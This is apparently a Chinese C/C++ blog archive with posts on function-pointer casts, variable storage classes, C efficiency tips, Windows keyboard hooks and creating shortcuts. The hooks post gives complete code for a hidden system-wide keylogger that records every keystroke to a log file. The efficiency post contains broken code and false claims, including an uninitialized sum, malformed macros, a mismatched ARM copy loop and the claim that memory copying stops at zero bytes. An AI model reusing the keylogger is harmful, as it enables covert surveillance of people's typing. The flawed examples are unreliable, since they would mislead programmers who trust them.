分类归档: C++

关于(*(void(*)())0)()

    前段时间看了这本C Traps and Pitfalls,看到里面有这样的一个语句:
   (*(void(*)())0)();

    初看此语句,让我头皮发麻,不寒而栗呀,我看了好半天书,也只是一知半解,后来在下面两个论坛上分别发一个帖子问了一下:
http://bbs.chinaunix.net/viewthread.php?tid=891271&extra=page%3D2
http://www.vckbase.com/bbs/viewtopic2.asp?rid=2869084&sf=92&forumID=1&pg=4

    首先这是一个函数调用,但是一个特殊的函数调用,在我们普通的C语言程序中是没有任何意义的,甚至不能执行的,我在VC6的环境下写了一个测试例子:
int main()
{
     (*(void(*)())0)();
     return 0;
}

    编译是通过了,但是却在执行的过程中出现了错误。在Linux下也进行了测试,也是编译通过,但运行出现了错误。
    然而,这个并不代表它没有用,它在一些特殊的环境中是有用的,比如在地址0处设置了跳转或是中断处理函数之类的,那么这个函数调用就有用了。
    总结一下我自己的理解和网上网友的理解:
   
    这是一个函数调用,它调用的是地址为0的函数。
如果我们令 f =
*(void(*)())0
那么这个上面的语句可以写成 (f)(),也就是f();这很显然是一个函数调用
而 void(*)()是一个指针类型,它是一个参数为空而返回值为void (实际上也是空)的函数指针类型,(void(*)())0就是把0强制转换成为一个函数指针,
我们可以这样理解
typedef void(*pp)();
   (*(pp)0)();

(void(*)())0这个函数指针指向一个地址为0的函数,如果前面再加一个星号*,那么就是对这个函数的引用,即(*(void(*)())0)就代表了这个函数,后面再加一个()就是对该函数的调用。

Read: 768

C语言全局变量和局部变量

引子—
         变量可以在程序中三个地方说明: 函数内部、函数的参数定义中或所有的函数外部。根据所定义位置的不同, 变量可分为局部变量、形式参数和全程变量。从空间角度来看,变量可以分为全局变量和局部变量,而从时间角度来分的 可以有静态存储变量和动态存储变量之分。

一。全局变量和局部变量

1。局部变量

他是 指在函数内部定义的变量 作用域为定义局部变量的函数 也就是说他只能在定义他的函数中使用

最值得注意的是 只有在程序执行到定义他的模块时才能生成,一旦执行退出该模块则起变量消失

eg.

func ()

{
    int x;    局部变量x的作用域 很明确
    ……
}

2。全局变量

在程序执行的过程中一直有效

eg.

int x=1;

func ()

{
    x=x+1;

}

func1 ()

{
   x=x-1;

}

main ()

{

}
由此不难看出整型x的作用范围

对于全局变量 如果在定义的时候不做初始化 则系统将自动为起赋值 数值型为0

字符型为空”

全局变量的弊端 增加内存开销 降低函数的通用性

定义全局变量时 理想的位置是在文件的开头 当这些函数以及同一个程序中的其他源程序文件中的某些函数需要使用该全局变量时 在函数内部对该变量使用extern 加以说明 说明他是外部的

(这里还要做详细的讲解)

eg.

main ()

{
extern int a,b;
printf ("mIn is %dn",min(a,b));
}

int a=1,b=2;
int min (x,y)
int x,y;
{
int z;
z=x<y?x:y;
return(z);
}
我还要说明的是 对外部变量的说明和对全局变量的定义不是一回事

对外部变量的说明 只是声明该变量是在外部定义过的一个全局变量 在这里引用 而对全局变量的定义则是要对起分配存储单元的

一个全局变量只能定义一次 可是却可以多次引用

*** 在同一源文件中,全局变量和局部变量同名时,在局部变量的作用域内,全局变量不起作用的。

二。静态存储变量和动态存储变量

对于程序运行期间根据需要进行临时动态分配存储空间的变量 为动态存储变量

对于那些程序运行期间永久占用固定内存的变量 称为静态存储变量

还要说明的是 程序的指令代码是存放在程序代码区的 静态存储变量是存放在静态数据区的 包括全局变量等 而程序中的动态存储变量存放在动态数据区 如函数的形参以及函数调用时的返回地址等

三。C语言中的变量存储分类指定
    
     auto
     auto称为自动变量 如果函数不做其他说明的话 均为自动变量

     static
     static称为静态变量。根据变量的类型可以分为静态局部变量和静态全程变量。
     1. 静态局部变量
    

      它与局部变量的区别在于: 在函数退出时, 这个变量始终存在, 但不能被其它函数使用, 当再次进入该函数时, 将保存上次的结果。其它与局部变量一样。
    

     2. 静态全程变量
    

      Turbo C2.0允许将大型程序分成若干独立模块文件分别编译, 然后将所有模块的目标文件连接在一起, 从而提高编译速度, 同时也便于软件的管理和维护。静态全程变量就是指只在定义它的源文件中可见而在其它源文件中不可见的变量。它与全程变量的区别是: 全程变量可以再说明为外部变量(extern), 被其它源文件使用, 而静态全程变量却不能再被说明为外部的, 即只能被所在的源文件使用。
   
   
     extern
     extern称为外部变量。为了使变量除了在定义它的源文件中可以使用外, 还要被其它文件使用。因此,    必须将全程变量通知每一个程序模块文件,    此时可用extern来说明。

eg.
         文件1为file1.c                   文件2为file2.c
     int i, j;/*定义全程变量*/         extern int i, j;/*说明将i, j从
                                                      文件1中复制过来*/
     char c;                           extern char c; /*将c复制过来*/
     void func1(int k);                func2()         /*用户定义函数*/
                                      {
     main()                               static float k;/*定义静态变量*/
     {                                    i=j*5/100;
           func1(20);/*调用函数*/         k=i/1.5;
           func2();                            .
           .                                   .
           .                                   .
           .                             }
      }
      func1(int k) /*用户定义函数*/
      {
           j=k*100;
      }

     对于以上两个文件file1.c和file2.c, 用Turbo C2.0的集成开发环境进行编译
连接时, 首先应建立一个.prj的文件。例如file.prj, 该文件内容如下:
      file1.c
      file2.c
     然后将file.prj的文件名写入主菜单Project中的Project Name项中。 再用F9
编译连接, 就可产生一个文件名为fioe.exe的可执行文件。
     
  

     register
     register称为寄存器变量。它只能用于整型和字符型变量。定义符register说明的变量被Turbo C2.0存储在CPU的寄存器中,   而不是象普通的变量那样存储在内存中, 这样可以提高运算速度。但是Turbo C2.0只允许同时定义两个寄存器变量,一旦超过两个, 编译程序会自动地将超过限制数目的寄存器变量当作非寄存器变量来处理。因此, 寄存器变量常用在同一变量名频繁出现的地方。
     另外, 寄存器变量只适用于局部变量和函数的形式参数, 它属于auto型变量,
因此, 不能用作全程变量。定义一个整型寄存器变量可写成:
       register int a;
     对于以上所介绍的变量类型和变量存储类型将会在以后的学习中, 通过例行程序中的定义、使用来逐渐加深理解。

Read: 16

实现C语言高效编程的四大秘技

第1招:以空间换时间

计算机程序中最大的矛盾是空间和时间的矛盾,那么,从这个角度出发逆向思维来考虑程序的效率问题,我们就有了解决问题的第1招——以空间换时间。

例如:字符串的赋值。

方法A,通常的办法:

#define LEN 32
char string1 [LEN];
memset (string1,0,LEN);
strcpy (string1,“This is a example!!”);

方法B:

const char string2[LEN] =“This is a example!”;
char * cp;
cp = string2 ;
(使用的时候可以直接用指针来操作。)

从上面的例子可以看出,A和B的效率是不能比的。在同样的存储空间下,B直接使用指针就可以操作了,而A需要调用两个字符函数才能完成。B的缺点在于灵活性没有A好。在需要频繁更改一个字符串内容的时候,A具有更好的灵活性;如果采用方法B,则需要预存许多字符串,虽然占用了大量的内存,但是获得了程序执行的高效率。

如果系统的实时性要求很高,内存还有一些,那我推荐你使用该招数。

该招数的变招——使用宏函数而不是函数。举例如下:

方法C:

#define bwMCDR2_ADDRESS 4
#define bsMCDR2_ADDRESS 17
int BIT_MASK(int __bf)
{
return ((1U << (bw ## __bf)) – 1) << (bs ## __bf);
}
void SET_BITS(int __dst, int __bf, int __val)
{
__dst = ((__dst) & ~(BIT_MASK(__bf))) | (((__val) << (bs ## __bf)) & (BIT_MASK(__bf))))
}

SET_BITS(MCDR2, MCDR2_ADDRESS, ReGISterNumber);

方法D:

#define bwMCDR2_ADDRESS 4
#define bsMCDR2_ADDRESS 17
#define bmMCDR2_ADDRESS BIT_MASK(MCDR2_ADDRESS)
#define BIT_MASK(__bf) (((1U << (bw ## __bf)) – 1) << (bs ## __bf))
#define SET_BITS(__dst, __bf, __val)
((__dst) = ((__dst) & ~(BIT_MASK(__bf))) |
(((__val) << (bs ## __bf)) & (BIT_MASK(__bf))))

SET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber);

函数和宏函数的区别就在于,宏函数占用了大量的空间,而函数占用了时间。大家要知道的是,函数调用是要使用系统的栈来保存数据的,如果编译器里有栈检查选项,一般在函数的头会嵌入一些汇编语句对当前栈进行检查;同时,CPU也要在函数调用时保存和恢复当前的现场,进行压栈和弹栈操作,所以,函数调用需要一些CPU时间。而宏函数不存在这个问题。宏函数仅仅作为预先写好的代码嵌入到当前程序,不会产生函数调用,所以仅仅是占用了空间,在频繁调用同一个宏函数的时候,该现象尤其突出。  D方法是我看到的最好的置位操作函数,是ARM公司源码的一部分,在短短的三行内实现了很多功能,几乎涵盖了所有的位操作功能。C方法是其变体,其中滋味还需大家仔细体会。

第2招:数学方法解决问题

现在我们演绎高效C语言编写的第二招——采用数学方法来解决问题。

数学是计算机之母,没有数学的依据和基础,就没有计算机的发展,所以在编写程序的时候,采用一些数学方法会对程序的执行效率有数量级的提高。

举例如下,求 1~100的和。

方法E

int I , j;
for (I = 1 ;I<=100; I ++){
j += I;
}

方法F

int I;
I = (100 * (1+100)) / 2

这个例子是我印象最深的一个数学用例,是我的计算机启蒙老师考我的。当时我只有小学三年级,可惜我当时不知道用公式 N×(N+1)/ 2 来解决这个问题。方法E循环了100次才解决问题,也就是说最少用了100个赋值,100个判断,200个加法(I和j);而方法F仅仅用了1个加法,1 次乘法,1次除法。效果自然不言而喻。所以,现在我在编程序的时候,更多的是动脑筋找规律,最大限度地发挥数学的威力来提高程序运行的效率。第3招:使用位操作
第3招:使用位操作,减少除法和取模的运算

  在计算机程序中,数据的位是可以操作的最小数据单位,理论上可以用“位运算”来完成所有的运算和操作。一般的位操作是用来控制硬件的,或者做数据变换使用,但是,灵活的位操作可以有效地提高程序运行的效率。举例如下:

方法G

int I,J;
I = 257 /8;
J = 456 % 32;

方法H

int I,J;
I = 257 >>3;
J = 456 – (456 >> 4 << 4);

在字面上好像H比G麻烦了好多,但是,仔细查看产生的汇编代码就会明白,方法G调用了基本的取模函数和除法函数,既有函数调用,还有很多汇编代码和寄存器参与运算;而方法H则仅仅是几句相关的汇编,代码更简洁,效率更高。当然,由于编译器的不同,可能效率的差距不大,但是,以我目前遇到的MS C ,ARM C 来看,效率的差距还是不小。相关汇编代码就不在这里列举了。

运用这招需要注意的是,因为CPU的不同而产生的问题。比如说,在PC上用这招编写的程序,并在PC上调试通过,在移植到一个16位机平台上的时候,可能会产生代码隐患。所以只有在一定技术进阶的基础下才可以使用这招。

第4招:汇编嵌入

高效C语言编程的必杀技,第四招——嵌入汇编。

“在熟悉汇编语言的人眼里,C语言编写的程序都是垃圾”。这种说法虽然偏激了一些,但是却有它的道理。汇编语言是效率最高的计算机语言,但是,不可能靠着它来写一个操作系统吧?所以,为了获得程序的高效率,我们只好采用变通的方法 ——嵌入汇编,混合编程。

举例如下,将数组一赋值给数组二,要求每一字节都相符。

char string1[1024],string2[1024];

方法I

int I;
for (I =0 ;I<1024;I++)
*(string2 + I) = *(string1 + I)

方法J

#ifdef _PC_
int I;
for (I =0 ;I<1024;I++)
*(string2 + I) = *(string1 + I);
#else
#ifdef _ARM_
__asm
{
MOV R0,string1
MOV R1,string2
MOV R2,#0
loop:
LDMIA R0!, [R3-R11]
STMIA R1!, [R3-R11]
ADD R2,R2,#8
CMP R2, #400
BNE loop
}
#endif

方法I是最常见的方法,使用了1024次循环;方法J则根据平台不同做了区分,在ARM平台下,用嵌入汇编仅用128次循环就完成了同样的操作。这里有朋友会说,为什么不用标准的内存拷贝函数呢?这是因为在源数据里可能含有数据为0的字节,这样的话,标准库函数会提前结束而不会完成我们要求的操作。这个例程典型应用于LCD数据的拷贝过程。根据不同的CPU,熟练使用相应的嵌入汇编,可以大大提高程序执行的效率。

虽然是必杀技,但是如果轻易使用会付出惨重的代价。这是因为,使用了嵌入汇编,便限制了程序的可移植性,使程序在不同平台移植的过程中,卧虎藏龙,险象环生!同时该招数也与现代软件工程的思想相违背,只有在迫不得已的情况下才可以采用。切记,切记。

Read: 588

系统钩子和DLL

系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到 达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为 载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。 在本程序中为方便起见采用了标准静态连接MFC DLL。
三、键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。
1、首先编制MFC扩展动态连接库LaunchDLL.dll:
(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。
(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)
// NOTE – the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的这几个函数的实现部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为 WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起 LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的 ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format(“c:\Key_%d_%d.log”,tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。
编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。
2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:
(1)用MFC的AppWizard(EXE)创建项目KeyHook;
(2)选择单文档,其余几步可均为确省;
(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。
(4)链接DLL库,即在”Project”,”Settings…”的”Link”属性页内,在 “Object/librarymodules:”中填 入”LaunchDLL.lib”。再通过”Project”,”Add To Project”,”Files…”将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include “LaunchDLL.h”
这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。
(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
……
InstallLaunchEv();
……
(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的 InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd-> ShowWindow (SW_HIDE);即可。
四、运行与检测
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序”KeyHook”,随便在什 么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。
小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中

Read: 719

用BCB在windows桌面创建快捷方式

API提供了一个叫做IShellLink的COM接口允许我们创建快捷方式。为在桌面创建快捷方式,我们创建一个IShellLink对象,设置它的属性,然后把这个link保存到desktop目录。
下面的例子代码演示了怎样创建一个快捷方式。在这个例子里,这个快捷方式保存在C:Drive目录下。
//———————————————————————-
include <shlobj.h>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if(OpenDialog1->Execute())
CreateShortCut(OpenDialog1->FileName);
}
//———————————————————————-
void TForm1::CreateShortCut(const AnsiString &file)
{
IShellLink* pLink;
IPersistFile* pPersistFile;
if(SUCCEEDED(CoInitialize(NULL)))
{
if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink, (void **) &pLink)))
{
pLink->SetPath(file.c_str());
pLink->SetDescription(“Woo hoo, look at Homer“s shortcut“);
pLink->SetShowCmd(SW_SHOW);
if(SUCCEEDED(pLink->QueryInterface(IID_IPersistFile,
(void **)&pPersistFile)))
{
WideString strShortCutLocation(“C:\bcbshortcut.lnk“);
pPersistFile->Save(strShortCutLocation.c_bstr(), TRUE);
pPersistFile->Release();
}
pLink->Release();
}
CoUninitialize();
}
}
//———————————————————————-
上面的例子只是把快捷方式文件保存到了c:drive目录下,但没保存到desktop目录下。
要让快捷方式出现在桌面上,只须把快捷方式文件保存到desktop目录下。首先我们要找到windows的desktop目录,请参阅判断 windows的Desktop及相关目录这一节。一旦我们知道了desktop所在的目录,我们就能将快捷方式文件保存到desktop目录下。然后 windows就能将快捷方式图标显示到桌面上。下面是经过改进了的例子:
//———————————————————————-
void TForm1::CreateShortCut(const AnsiString &file)
{
IShellLink* pLink;
IPersistFile* pPersistFile;
LPMALLOC ShellMalloc;
LPITEMIDLIST DesktopPidl;
char DesktopDir[MAX_PATH];
if(FAILED(SHGetMalloc(&ShellMalloc)))
return;
if(FAILED(SHGetSpecialFolderLocation(NULL,
CSIDL_DESKTOPDIRECTORY,
&DesktopPidl)))
return;
if(!SHGetPathFromIDList(DesktopPidl, DesktopDir))
{
ShellMalloc->Free(DesktopPidl);
ShellMalloc->Release();
return;
}
ShellMalloc->Free(DesktopPidl);
ShellMalloc->Release();
if(SUCCEEDED(CoInitialize(NULL)))
{
if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink, (void **) &pLink)))
{
pLink->SetPath(file.c_str());
pLink->SetDescription(“Woo hoo, look at Homer“s shortcut“);
pLink->SetShowCmd(SW_SHOW);
if(SUCCEEDED(pLink->QueryInterface(IID_IPersistFile,
(void **)&pPersistFile)))
{
WideString strShortCutLocation(DesktopDir);
strShortCutLocation += “\bcbshortcut.lnk“;
pPersistFile->Save(strShortCutLocation.c_bstr(), TRUE);
pPersistFile->Release();
}
pLink->Release();
}
CoUninitialize();
}
}
//———————————————————————-
不要陷于COM的泥沼之中
创建快捷方式包括一些对COM的使用。不要让你陷入到COM的复杂之中。COM只是创建和使用对象的一种方法。在这个例子里我们可以考虑不使用COM而是用等价的C++技术。
COM code C++ psuedo-equivalent
IShellLink* pLink; TShellLink *Link;
IPersistFile* pPersistFile; TPersistFile *PersistFile;
CoInitialize();

CoCreateInstance(CLSID_ShellLink, Link = new TShellLink;
NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink,
(void **) &pLink)

pLink->SetPath(file.c_str()); Link->SetPath(file.c_str());
pLink->SetShowCmd(SW_SHOW); Link->SetShowCmd(SW_SHOW);

pLink->QueryInterface(IID_IPersistFile PersistFile =
(void **)&pPersistFile))) dynamic_cast<TPersistFile*>(Link);
pPersistFile->Save(“C:\“, TRUE); PersistFile->Save(“C:\“);

pPersistFile->Release(); delete PersistFile
pLink->Release(); delete Link;
CoUninitialize();

Read: 696